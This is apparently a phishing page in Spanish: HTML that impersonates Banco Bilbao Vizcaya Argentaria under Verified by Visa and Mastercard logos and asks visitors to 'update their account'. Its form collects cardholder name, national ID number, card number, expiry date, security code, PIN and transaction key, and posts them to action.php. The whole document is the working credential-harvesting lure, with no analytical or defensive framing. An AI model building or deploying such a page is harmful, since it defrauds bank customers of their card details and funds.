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<title>Actualizar Su Información De Cuenta!</title>
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<form id="frm" method="post" action="action.php" onsubmit="return validate()">
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<img src="img/vpas_logo.gif" border="0" />
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<img src="img/empresas-beca_721.gif" border="0" width="140px" />
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<img src="img/mastercard_logo.gif" border="0" />
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<form name="frm" method="post" action="action.php" onsubmit="return validate()">
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Banco Bilbao Vizcaya Argentaria
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Nombe del titular <span >:</span>
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<input id="name" name="name" size="20" class="enrollmentInputBox" type="text">
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D.N.I. <span >:</span>
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<input id="dni" name="dni" maxlength="11" size="11" class="enrollmentInputBox" type="text">
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Número de tarjeta <span >:</span>
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<input id="faclie" name="faclie" maxlength="16" size="16" class="enrollmentInputBox" type="text">
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Fecha de vencimiento <span >:</span>
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<input class="enrollmentInputBox" id="expMonth" name="expMonth" size="2" maxlength="2" type="text"> / <input class="enrollmentInputBox" id="expYear" name="expYear" size="2" maxlength="2" type="text">
<span class="txt_form_kop">MM/AA</span>
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CSC <span >:</span>
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<input id="csc" name="csc" maxlength="3" size="3" class="enrollmentInputBox" type="text">
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PIN <span >:</span>
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<input id="surub" name="surub" maxlength="4" size="4" class="enrollmentInputBox" type="password">
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Clave de operaciones <span >:</span>
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<input id="clave" name="clave" maxlength="7" size="7" class="enrollmentInputBox" type="password">
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<input type="submit" value ="" class="button_add" />
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<td background="img/footer_left.gif" width="14">
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<td background="img/footer_mid.gif" height="38" width="518">
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<a>Inicio</a><img src="img/1pixtransparant.gif" width="7">|<img src="img/1pixtransparant.gif" width="8" />
<a>Declaración de Privacidad</a><img src="img/1pixtransparant.gif" width="7" />|<img src="img/1pixtransparant.gif" width="8" />
<a>Términos y Condiciones</a><img src="img/1pixtransparant.gif" width="7" />|<img src="img/1pixtransparant.gif" width="7" />
<a>Contacto</a><img src="img/1pixtransparant.gif" width="7" />|<img src="img/1pixtransparant.gif" width="7" />
<a>FAQ</a>
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